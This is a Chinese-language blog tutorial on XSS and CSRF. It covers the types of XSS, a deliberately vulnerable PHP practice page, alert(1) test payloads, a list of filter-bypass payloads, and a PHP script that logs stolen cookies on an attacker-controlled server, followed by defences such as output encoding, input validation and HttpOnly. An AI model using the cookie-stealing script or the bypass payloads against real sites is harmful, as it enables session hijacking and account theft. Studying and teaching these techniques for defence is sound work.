Title

每日一句

xss實戰

一、xss漏洞原理

1.什么是xss漏洞？

跨站點腳本（也稱為 XSS）是一種 Web 安全漏洞，允許攻擊者破壞用戶與易受攻擊的應用程序的交互。它允許攻擊者繞過同源策略，該策略旨在將不同的網站相互隔離。跨站點腳本漏洞通常允許攻擊者偽裝成受害者用戶，執行用戶能夠執行的任何操作，并訪問用戶的任何數據。如果受害者用戶在應用程序中具有特權訪問權限，那么攻擊者可能能夠完全控制應用程序的所有功能和數據。

2.xss分類

1）反射型xss

是最簡單的跨站點腳本。當應用程序接收到 HTTP 請求中的數據并以不安全的方式將該數據包含在即時響應中時，就會出現這種情況。

如果用戶訪問攻擊者構建的 URL，則攻擊者的腳本會在用戶的瀏覽器中執行，在該用戶與應用程序的會話上下文中。此時，腳本可以執行任何操作，并檢索用戶有權訪問的任何數據。

2）存儲型xss

當應用程序從不受信任的來源接收數據并以不安全的方式將該數據包含在其以后的 HTTP 響應中時，就會出現存儲的跨站點腳本

反射型 XSS 和存儲型 XSS 的區別

反射型 XSS 和存儲型 XSS 之間的主要區別在于，存儲型 XSS 漏洞會導致在應用程序本身內自包含的攻擊。攻擊者不需要尋找外部方法來誘導其他用戶發出包含其漏洞利用的特定請求。相反，攻擊者將他們的漏洞利用放入應用程序本身，并等待用戶遇到它。

3）DOM型xss

基于 DOM 的 XSS 漏洞通常出現在 JavaScript 從攻擊者可控制的來源（例如 URL）獲取數據并將其傳遞到支持動態代碼執行的接收器（例如eval()或innerHTML. 這使攻擊者能夠執行惡意 JavaScript，這通常允許他們劫持其他用戶的帳戶。

要進行基于 DOM 的 XSS 攻擊，您需要將數據放入源中，以便將其傳播到接收器并導致執行任意 JavaScript。

DOM XSS 最常見的來源是 URL，通常通過window.location對象訪問。攻擊者可以構建一個鏈接，將受害者發送到易受攻擊的頁面，其中包含查詢字符串中的有效負載和 URL 的片段部分。在某些情況下，例如針對 404 頁面或運行 PHP 的網站時，有效負載也可以放置在路徑中。

二、xss漏洞實戰

1.編寫一個存在xss的頁面

<!DOCTYPE html><!--STATUS OK--><html>
  <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
      window.alert = function()    <!--當有彈窗出現時，執行以下代碼 -->
      {
        confirm("完成的不錯！");         <!--confirm()方法用于顯示一個帶有指定消息和確定及取消按鈕的對話框。我們xss一般驗證就是爆一個彈窗出來-->
        window.location.href="level2.php?keyword=test";   <!-- 然后跳轉到第二關，后續關卡基本相同以此類推即可 -->
        }
    </script>
    <title>歡迎來到level1</title>
  </head>
  <body>
    <h1 align=center>歡迎來到level1</h1>
    <?php 
    ini_set("display_errors", 0);   //不顯示錯誤報告
    $str = $_GET["name"]; 			//獲取參數傳入
    echo "<h2 align=center>歡迎用戶".$str."</h2>";  //用戶輸入什么就輸出什么
    ?>
    <center><img src=level1.png></center>
    <?php 
    echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
    ?>
  </body>
</html>

$str = $_GET["name"]; //獲取參數傳入

echo "<h2 align=center>歡迎用戶".$str."</h2>"; //用戶輸入什么就輸出什么

代碼中并沒有對用戶輸入進行檢查，直接輸出到頁面中。所以存在xss

測試：

可以構造如下payload

/level1.php?name=<script>alert(1)</script>

2、利用xss獲取當前用戶的cookie

測試是否有彈窗

編寫獲取cookie的腳本，放自己的服務器下面，內容如下

<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>

構造payload

發現有長度限制，在前端修改長度

在另外一臺主機訪問，發現自己的服務器得到了cookie

三、xss測試與利用

1.xss發現

a、步驟

在每個利用點插入一個正確的輸入，而且該輸入沒有出現在頁面的任何地方，這樣查找就比較方便
查看該輸入在響應中的所有位置，并查看所處上下文
構造惡意payload
查看響應是否被組織或者凈化，然后進行繞過。

b、實例：

（1）假設返回的響應包含如下的腳本

<input type="text" name="addressl" value="mytestwp">

測試思路：

終止input標簽，構造script腳本："><script>alert(1)</script>
在input標簽添加一個事件處理器：" onfocus="alert(1)

（2）假設返回的響應包含如下的腳本

<script>var a = 'mytestwp' ;var b = 123;……</script>

測試思路：

終止單引號，分號終止語句，然后插入腳本：'; alert(1);var foo ='

(3)假設返回的響應包含如下的腳本:

<a href="mytestwp">click here…</a>

測試思路：

使用偽協議：javascript:alert(1)
使用事件處理器：# "onclick="javascript:alert(1)

c、探查防御措施

一般的防御有以下的幾種：

防火墻發現惡意標簽，組織了輸入
接受了輸入，但是進行了凈化或者編碼處理
將輸入字符截短到某個最大長度

d、繞過

如果是防火墻過濾，則輪流刪除字符串的不同部分，確定阻止了哪個標簽，然后進行繞過

下面總結幾種繞過：

<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<style onreadystatechange=alert(1)>
<img type=image src=vaild.gif  onreadystatechange=alert(1)>
<input autofocus onfocus=alert(1)>
<video src=1 onerror=alert(1)>
<object data=javascript:alert(1)>
<i[%00]mg onerror=alert(1) src=a>
<img[%0a]onerror=alert(1) src=a>

2.xss利用

1、網絡釣魚，包括獲取各類用戶賬號

2、竊取用戶cookies資料，從而獲取用戶隱私信息，或利用用戶身份進一步對網站執行操作；

3、劫持用戶（瀏覽器）會話，從而執行任意操作，例如非法轉賬、強制發表日志、電子郵件等

4、強制彈出廣告頁面、刷流量等

5、網頁掛馬；

6、進行惡意操作，如任意篡改頁面信息、刪除文章等

7、進行大量的客戶端攻擊，如ddos等

8、獲取客戶端信息，如用戶的瀏覽歷史、真實p、開放端口等

9、控制受害者機器向其他網站發起攻擊；

10、結合其他漏洞，如csrf，實施進步危害；

11、提升用戶權限，包括進一步滲透網站

12、傳播跨站腳本蠕蟲等

四、防御

1.HTML實體化

htmlspecialchars（）:可以把輸入內容轉換為HTML實體

”	&quot
'	&apos
&	&amp
<	&lt
>	&gt

2.輸入過濾

對用戶提交的數據進行有效驗證，僅接受指定長度范圍內的，采用適當格式的內容提交，阻止或者忽略除此以外的其他任何數據。

輸入是否僅僅包含合法的字符
輸入字符串是否超過最大長度的限制
輸入如果為數字，數字是否在指定的范圍內
輸入是否符合特定的格式要求，如郵箱、電話號碼、ip地址等

3.httponly設置

XSS 一般利用js腳步讀取用戶瀏覽器中的Cookie，而如果在服務器端對 Cookie 設置了HttpOnly 屬性，那么js腳本就不能讀取到cookie，但是瀏覽器還是能夠正常使用cookie

一般的Cookie都是從document對象中獲得的，現在瀏覽器在設置 Cookie的時候一般都接受一個叫做HttpOnly的參數，跟domain等其他參數一樣，一旦這個HttpOnly被設置，你在瀏覽器的 document對象中就看不到Cookie了，而瀏覽器在瀏覽的時候不受任何影響，因為Cookie會被放在瀏覽器頭中發送出去(包括ajax的時候)，應用程序也一般不會在js里操作這些敏感Cookie的，對于一些敏感的Cookie我們采用HttpOnly，對于一些需要在應用程序中用js操作的cookie我們就不予設置，這樣就保障了Cookie信息的安全也保證了應用。

五、csrf原理及利用

1、csrf原理與利用

原理：

跨站請求攻擊，簡單地說，是攻擊者通過一些技術手段欺騙用戶的瀏覽器去訪問一個自己曾經認證過的網站并執行一些操作（如發郵件、發消息、甚至財產操作：轉賬、購買商品等）。由于瀏覽器曾經認證過，所以被訪問的網站會認為是真正的用戶操作而去執行。這利用了web中用戶身份認證的一個漏洞：簡單的身份驗證只能保證請求發自某個用戶的瀏覽器，卻不能保證請求本身是用戶自愿發出的。

場景：

1.用戶C打開瀏覽器，訪問受信任網站A，輸入用戶名和密碼請求登錄網站A；

2.在用戶信息用過驗證后，網站A產生Cookie信息并返回給瀏覽器，此時用戶登錄網站A成功，可以正常發送請求到網站A；

3.用戶未退出網站A之前，在同一瀏覽器中打開一個TAB頁訪問網站B；

4.網站B接受到用戶請求后，返回一些攻擊性代碼，并發出一個請求要求訪問第三方站點A；

5.瀏覽器在接收到這些攻擊性代碼后，根據網站B的請求，在用戶不知情的情況下攜帶Cookie信息，向網站A發出請求。網站A并不知道該請求其實是由B發起的，所以會根據用戶C的Cookie信息以C的權限處理該請求，導致來自網站B的惡意代碼被執行。

檢測：

1.檢測CSRF漏洞是一項比較繁瑣的工作，最簡單的方法就是抓取一個正常請求的數據包，去掉Referer字段后再重新提交，如果該提交還有效，那么基本上可以確定存在CSRF漏洞。

2.隨著對CSRF漏洞研究的不斷深入，不斷涌現出一些專門針對CSRF漏洞檢測的工具，若CSRFTester，CSRF Request Builder等。

3.用burp自帶的csrf制作工具對數據包修改，然后在瀏覽器執行測試。

防御：

1.驗證HTTP Referer字段；

2.在請求地址中添加token并驗證；

客戶端把用戶的用戶名和密碼發到服務端服務端進行校驗，校驗成功會生成token, 把token發送給客戶端客戶端自己保存token, 再次請求就要在Http協議的請求頭中帶著token去訪問服務端，和在服務端保存的token信息進行比對校驗。

3.在HTTP頭中自定義屬性并驗證。

CSRF與XSS的區別：最大的區別就是CSRF沒有盜取用戶的Cookie，而是直接的利用了瀏覽器的Cookie讓用戶去執行某個動作。

各種功能點

密碼修改處
點贊
轉賬
注銷
刪除

posted @ 2022-10-25 14:33 江公閱讀(501) 評論(0) 收藏舉報

刷新頁面返回頂部

Title

每日一句

江公

xss實戰

一、xss漏洞原理

1.什么是xss漏洞？

2.xss分類

1）反射型xss

2）存儲型xss

3）DOM型xss

二、xss漏洞實戰

1.編寫一個存在xss的頁面

2、利用xss獲取當前用戶的cookie

三、xss測試與利用

1.xss發現

a、步驟

b、實例：

c、探查防御措施

d、繞過

2.xss利用

四、防御

1.HTML實體化

2.輸入過濾

3.httponly設置

五、csrf原理及利用

1、csrf原理與利用

公告

每日一句